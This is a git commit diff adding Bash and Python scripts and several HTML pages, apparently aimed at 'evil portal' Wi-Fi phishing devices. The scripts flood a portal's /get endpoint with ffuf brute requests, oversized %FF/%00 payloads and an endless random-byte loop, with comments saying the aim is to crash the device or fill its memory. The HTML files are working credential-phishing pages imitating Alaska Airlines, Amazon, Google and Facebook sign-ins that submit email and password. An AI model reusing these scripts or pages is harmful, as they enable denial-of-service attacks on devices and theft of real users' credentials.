migration
This commit is contained in:
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Executable
+23
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
wifi_device=wlan1
|
||||
ssid=Guest-WiFi
|
||||
host="192.168.4.1"
|
||||
|
||||
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
|
||||
|
||||
sudo nmcli d disconnect $wifi_device > /dev/null
|
||||
|
||||
sudo nmcli dev wifi rescan > /dev/null
|
||||
|
||||
echo -e "\nCashing This Evil Portal With No Survivors\n"
|
||||
|
||||
sudo nmcli device wifi connect $ssid ifname $wifi_device
|
||||
|
||||
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
|
||||
|
||||
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
|
||||
|
||||
echo -e "\n\nPinging To Confirm Kill...\n"
|
||||
ping -c 4 $host
|
||||
|
||||
echo -e "\nThat Was Big Payload (4U)\nRIP"
|
||||
Executable
+18
@@ -0,0 +1,18 @@
|
||||
import subprocess
|
||||
|
||||
# host = "http://192.168.4.1"
|
||||
host = "http://10.0.0.80"
|
||||
charlen = 2000
|
||||
char = "%FF"
|
||||
|
||||
curl_cmd = "curl --silent"
|
||||
|
||||
payload = char*charlen
|
||||
uri = f"{host}/get.php?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}'"
|
||||
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print("That's A Big Load (4U)\n\nDone")
|
||||
Executable
+23
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
wifi_device=wlan1
|
||||
ssid=Guest-WiFi
|
||||
host="192.168.4.1"
|
||||
|
||||
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
|
||||
|
||||
sudo nmcli d disconnect $wifi_device > /dev/null
|
||||
|
||||
sudo nmcli dev wifi rescan > /dev/null
|
||||
|
||||
echo -e "\nCashing This Evil Portal With No Survivors\n"
|
||||
|
||||
sudo nmcli device wifi connect $ssid ifname $wifi_device
|
||||
|
||||
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
|
||||
|
||||
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
|
||||
|
||||
echo -e "\n\nPinging To Confirm Kill...\n"
|
||||
ping -c 4 $host
|
||||
|
||||
echo -e "\nThat Was Big Payload (4U)\nRIP"
|
||||
Executable
+40
@@ -0,0 +1,40 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
# host = "10.0.0.80"
|
||||
host = "192.168.4.1"
|
||||
|
||||
rangei = 65536 # FFFF+1
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
for x in range(rangei):
|
||||
hexcode = hex(x)[2:]
|
||||
if x > 255:
|
||||
urlformatted_raw = "%{:04x}".format(x)
|
||||
hexformatted_raw = "0x{:04x}".format(x)
|
||||
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
|
||||
else:
|
||||
urlformatted_raw = "%{:04x}".format(x)
|
||||
urlformatted = "%{:02x}".format(x)
|
||||
hexformatted = "0x{:02x}".format(x)
|
||||
unicode_formatted = "%u{:04x}".format(x)
|
||||
printformatted = f"\\x{hexcode}"
|
||||
|
||||
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
|
||||
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
|
||||
(output, err) = p.communicate()
|
||||
(output, err) = p1.communicate()
|
||||
(output, err) = p2.communicate()
|
||||
|
||||
p_status = p.wait()
|
||||
p_status1 = p1.wait()
|
||||
p_status2 = p2.wait()
|
||||
|
||||
time.sleep(0.225)
|
||||
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
|
||||
Executable
+43
@@ -0,0 +1,43 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
# host = "http://10.0.0.80"
|
||||
# host = "http://192.168.4.1"
|
||||
host = "http://172.0.0.1"
|
||||
charlen = 750
|
||||
char = "%00%FF"
|
||||
prepend = ""
|
||||
append = ""
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
|
||||
|
||||
# -i, --include - include header in output
|
||||
# -I, --head - HEAD http method
|
||||
# -s, --silent - supresses progress and errors
|
||||
# -S, --show-error - when used with -s/--silent, displays errors
|
||||
# -D <file>, --dump-header <file> - saves response headers to <file>
|
||||
# -f, --fail - fail silently on HTTP error
|
||||
# -X, --request - request method, defaults to GET
|
||||
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
|
||||
# -v, --verbose - show request headers
|
||||
# -o <file>, --output <file> - write output to file
|
||||
|
||||
# curl_cmd = "curl -i -s -S -v"
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
chars = char*charlen
|
||||
payload = f"{prepend}{chars}{append}"
|
||||
uri = f"{host}/get.php?email={payload}&password=holdstill"
|
||||
command = f"{curl_cmd} '{uri}' >> {outfile}"
|
||||
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
|
||||
with open(outfile, "a") as log:
|
||||
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print(f"\n\nlog written to {outfile}")
|
||||
Executable
+46
@@ -0,0 +1,46 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
# host = "http://10.0.0.80"
|
||||
# host = "http://192.168.4.1"
|
||||
host = "http://172.0.0.1"
|
||||
rangei = 10000
|
||||
char = "%00%FF"
|
||||
# char = "%00"
|
||||
prepend = ""
|
||||
append = ""
|
||||
#append = "%0a%00%0a"
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
|
||||
|
||||
# -i, --include - include header in output
|
||||
# -I, --head - HEAD http method
|
||||
# -s, --silent - supresses progress and errors
|
||||
# -S, --show-error - when used with -s/--silent, displays errors
|
||||
# -D <file>, --dump-header <file> - saves response headers to <file>
|
||||
# -f, --fail - fail silently on HTTP error
|
||||
# -X, --request - request method, defaults to GET
|
||||
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
|
||||
# -v, --verbose - show request headers
|
||||
# -o <file>, --output <file> - write output to file
|
||||
|
||||
# curl_cmd = "curl -i -s -S -v"
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
for x in range(rangei+1):
|
||||
chars = char*x
|
||||
payload = f"{prepend}{chars}{append}"
|
||||
uri = f"{host}/get?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}' >> {outfile}"
|
||||
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\nOutfile: {outfile}\n")
|
||||
with open(outfile, "a") as log:
|
||||
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print(f"\n\nlog written to {outfile}")
|
||||
Executable
+1
@@ -0,0 +1 @@
|
||||
bash connect-wifi && python sd-card-murder.py
|
||||
Executable
+29
@@ -0,0 +1,29 @@
|
||||
import subprocess
|
||||
import os
|
||||
# from requests.utils import requote_uri
|
||||
import urllib.parse
|
||||
from random import randbytes
|
||||
|
||||
# host = "http://192.168.4.1" # cyd version
|
||||
host = "http://172.0.0.1" # flipper version
|
||||
# host = "http://10.0.0.80"
|
||||
# rangei = 10000
|
||||
# charlen = 2012 # to crash
|
||||
charlen = 1400 # to flood flipper mem(?)
|
||||
# charlen = 700 # to flood filesysted
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
x = 0
|
||||
#for x in range(rangei+1):
|
||||
while True:
|
||||
payload = urllib.parse.quote(randbytes(charlen))
|
||||
uri = f"{host}/get?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}'"
|
||||
|
||||
print(f"{x} of infinite sets of {charlen} random bytes")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
x=x+1
|
||||
|
||||
print(f"\n\nThe End")
|
||||
Regular → Executable
Executable
+89
@@ -0,0 +1,89 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f4f4f4;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.login-container {
|
||||
background-color: white;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
background-color: green;
|
||||
}
|
||||
#logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.form-group {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 8px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
window.addEventListener('DOMContentLoaded', (event) => {
|
||||
const form = document.getElementById('email-form-step');
|
||||
form.addEventListener('submit', (event) => {
|
||||
event.preventDefault();
|
||||
const emailInput = document.getElementById('email-input');
|
||||
const passwordInput = document.getElementById('password-input');
|
||||
const email = emailInput.value;
|
||||
const password = passwordInput.value;
|
||||
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
|
||||
window.location.href = url;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
|
||||
<g fill="#00385f">
|
||||
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
|
||||
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
<form id="email-form-step">
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Alaska Airlines Account</h2>
|
||||
<div class="form-group">
|
||||
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+100
@@ -0,0 +1,100 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #fff;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #f0c14b;
|
||||
border: none;
|
||||
color: #333;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #d8ad40;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
|
||||
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
|
||||
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
|
||||
</svg>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Amazon Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: sans-serif;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
width: 85%;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
#logo {
|
||||
margin: auto;
|
||||
width: fit-content;
|
||||
}
|
||||
|
||||
.g-h1 {
|
||||
font-size: 25px;
|
||||
text-align: center;
|
||||
font-weight: 200;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.g-h2 {
|
||||
font-size: 15px;
|
||||
text-align: center;
|
||||
font-weight: 200;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.g-input {
|
||||
width: 95%;
|
||||
height: 30px;
|
||||
background-color: transparent;
|
||||
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
|
||||
border-width: 0.5px;
|
||||
border-color: rgba(0, 0, 0, 0.6);
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
padding: 13px 9px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.create-account {
|
||||
font-size: smaller;
|
||||
color: #1a73e8;
|
||||
text-decoration: none;
|
||||
font-family: "Google Sans", Roboto, Arial, sans-serif;
|
||||
font-size: 15px;
|
||||
letter-spacing: 0.25px;
|
||||
}
|
||||
|
||||
.gbtn-primary {
|
||||
min-width: 64px;
|
||||
border: none;
|
||||
margin-top: 6px;
|
||||
margin-bottom: 6px;
|
||||
height: 36px;
|
||||
border-radius: 4px;
|
||||
font-family: "Google Sans", Roboto, Arial, sans-serif;
|
||||
font-size: 15px;
|
||||
font-weight: 500;
|
||||
padding: 0 24px 0 24px;
|
||||
box-sizing: inherit;
|
||||
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.button-container {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.text {
|
||||
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
|
||||
white-space: normal;
|
||||
color: #5f6368;
|
||||
font-size: 14px;
|
||||
line-height: 1.4286;
|
||||
padding-bottom: 3px;
|
||||
padding-top: 9px;
|
||||
box-sizing: inherit;
|
||||
}
|
||||
|
||||
.txt {
|
||||
text-decoration: none;
|
||||
border-radius: 4px;
|
||||
color: #1a73e8;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div id="logo">
|
||||
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g id="qaEJec">
|
||||
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
|
||||
</g>
|
||||
<g id="YGlOvc">
|
||||
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
|
||||
</g>
|
||||
<g id="BWfIk">
|
||||
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
|
||||
</g>
|
||||
<g id="e6m3fd">
|
||||
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
|
||||
</g>
|
||||
<g id="vbkDmc">
|
||||
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
|
||||
</g>
|
||||
<g id="idEJde">
|
||||
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h4></h4>
|
||||
<h1 class="g-h1">Sign in</h1>
|
||||
<h3></h3>
|
||||
<h2 class="g-h2">Use your Google Account</h2>
|
||||
<h6></h6>
|
||||
<div class="login-content">
|
||||
<input name="email" type="text" class="g-input" placeholder="Email or phone" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Enter your password" required>
|
||||
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
|
||||
</div>
|
||||
<h5></h5>
|
||||
<div class="button-container">
|
||||
<a class="create-account" href="caca.html">Create account</a>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+1
File diff suppressed because one or more lines are too long
Executable
+83
@@ -0,0 +1,83 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f2f2f2;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
color: #1d2129;
|
||||
}
|
||||
.login-container {
|
||||
width: 350px;
|
||||
background-color: white;
|
||||
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
|
||||
border-radius: 5px;
|
||||
padding: 10px 20px;
|
||||
}
|
||||
#logo {
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 28px;
|
||||
font-weight: normal;
|
||||
margin-bottom: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
font-weight: normal;
|
||||
color: #606770;
|
||||
margin-bottom: 20px;
|
||||
text-align: center;
|
||||
}
|
||||
input[type=text], input[type=password] {
|
||||
width: 100%;
|
||||
padding: 15px;
|
||||
margin: 5px 0 10px 0;
|
||||
display: inline-block;
|
||||
border: 1px solid #ccc;
|
||||
box-sizing: border-box;
|
||||
border-radius: 5px;
|
||||
}
|
||||
button {
|
||||
background-color: #4267B2;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
border-radius: 5px;
|
||||
}
|
||||
button:hover {
|
||||
opacity: 0.8;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g>
|
||||
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
|
||||
</g>
|
||||
</svg>
|
||||
<form action="/get" method="get">
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Facebook Account</h2>
|
||||
<label for="email"><b>Email</b></label>
|
||||
<input type="text" placeholder="Enter Email" name="email" required>
|
||||
<label for="password"><b>Password</b></label>
|
||||
<input type="password" placeholder="Enter Password" name="password" required>
|
||||
<button type="submit">Sign in</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
